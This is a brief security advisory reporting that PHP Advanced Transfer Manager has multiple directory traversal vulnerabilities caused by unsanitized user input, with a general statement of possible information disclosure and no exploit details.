PHP Advanced Transfer Manager is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Exploitation of any of these vulnerabilities could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.
